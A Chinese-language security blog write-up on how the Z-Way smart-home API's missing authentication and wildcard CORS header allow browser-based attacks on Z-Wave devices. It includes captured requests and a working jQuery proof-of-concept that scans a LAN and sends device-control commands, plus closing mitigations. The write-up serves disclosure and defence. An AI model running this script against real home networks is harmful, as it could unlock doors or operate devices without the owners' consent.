首页 > 安全 > 网络安全 >

如何黑掉Z-Way控制下的智能家居

2015-05-13

Z-Wave是一种新兴的智能家居技术,里面使用了Z-Way通信协议,这种无线组网规格在欧美已经非常成熟。最近我购置了一块RaZberry板子,开始了我的家具智能化研究之旅。什么是Z-Way我之所以选择RaZberry板子,而不是

Z-Wave是一种新兴的智能家居技术,里面使用了Z-Way通信协议,这种无线组网规格在欧美已经非常成熟。最近我购置了一块RaZberry板子,开始了我的家具智能化研究之旅。

什么是Z-Way

我之所以选择RaZberry板子,而不是传统的Z-Wave控制器,主要是因为它拥有对树莓派的兼容特性,让我可以通过程式化访问Z-Wave协议和通用输入输出(GPIO)设备,这对于研究我家里面的报警传感器非常有帮助。顺便提一句,Z-Way会提取Z-Wave的特性来设计REST(Representational State Transfer)API,使得该API更加易用。Z-Way项目甚至拥有基础的web界面,包括网关管理界面。

\

测试过程

在给RaZberry板子安装软件,并连上部分设备后,我开始观察管理设备时产生的web请求包。Z-Way使用了Angular的JS框架开发了一个API,可以应对来自web和 安卓app 的访问。

以下是一个我开灯的请求:

POST http://192.168.5.219:8083/ZWaveAPI/Run/devices[12].instances[0].commandClasses[37].Set(255) HTTP/1.1
Host: 192.168.5.219:8083
Connection: keep-alive
Content-Length: 0
Accept: application/json, text/plain, */*
Origin: http://192.168.5.219:8083
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Referer: http://192.168.5.219:8083/expert/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
下面是响应包: 
HTTP/1.1 200 OK
Content-Type: application/json
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Length: 4
 
null
但此时,我发现了一个严重的问题,Angular的API并不需要认证。我在官网找了找,发现有用户提出了这么一个问题(FAQ):
问:HTTP/JSON的API有经过HTTP认证麽?答:当然没有,你的内网被厂商假定为绝对安全的,自身有着第三方防火墙和密码的保护,不会有外界侵入。如果你想要用密码保护Z-Way,你可以使用ngnix或者其他反向代理服务器做额外的设置。

看来厂商早发现了这个问题,但并没有去亲自解决它。但这也说的过去,使用这些硬件的大多数都是技术极客,普通用户占少数。不过,鄙人仍然觉得这里面潜伏着危机,因为毕竟它给用户带来的是未知的恐惧。用户的局域网可能会比较安全,但这并不意味着来自远程攻击是不可能实现的。我开始思考从局域网外攻击API接口的方法。突然,我想起了上面的应答包。注意, Z-Way的web服务器默认的CORS(跨域资源共享)头部允许任何origin来源,它会响应一个Access-Control-Allow-Origin: *,即允许所有origin来源,这显而易见将导致跨域攻击。

下面的POC将向你展示,黑客如何用恶意JS代码扫描内网主机,从而实现对Z-Wave的操作。由于这些请求是异步的,受害者并不能意识到正在发生着什么。


jQuery(document).ready(function()
{
  for(var i=1; i<=254; i++)
  {
    var host = "192.168.5." + i;
    var url = "http://" + host + ":8083/ZWaveAPI/Run/devices[99].instances[0].commandClasses[37].Set(255)";
    $.ajax({
      type: "POST",
      url: url,
      host: host
    })
    .always(function(r)
    {
      if(r.status != 0)
      {
        var valid_host = this.host;
        // Server found, enumerate devices
        for(var y=0; y<=15; y++)
        {
          $.post("http://" + valid_host + ":8083/ZWaveAPI/Run/devices[" + y + "].instances[0].commandClasses[37].Set(255)");
        }
      }
    });
  }
});

首先,脚本循环尝试局域网主机,向API发送POST请求。接着,它会找出返回状态码不为0的主机,确定其存活。如果受害者的控制器设备号小于99,脚本会遍历设备ID号,上限为15,尝试打开灯。这种漏洞的影响,更多地体现在解开门锁、开启车库、以及处理其他敏感设备上。

下面的测试模拟了某主机被黑的场景,返回的响应码为200时就是成功了:

\

攻击者可以尝试探测更多的默认内网网段,如果受害人的浏览器支持WebRTC,攻击者可以得到更多的信息。在这种情况里,我们可以发出 STUN请求 ,确定受害人的内网IP,从而估算内网范围。

厂商要通过认证加强Razberry的安全 不太容易 ,但用户通过其他设置做到这一点可能并不算难。此外厂商可以做出的另一个改进,则是在CORS策略中需要指定允许的origin,而非来者不拒。Z-Way请求包的这个漏洞很有意思,它揭示了自由CORS实现的风险,并展示了如何攻击他们。

相关文章
最新文章
热点推荐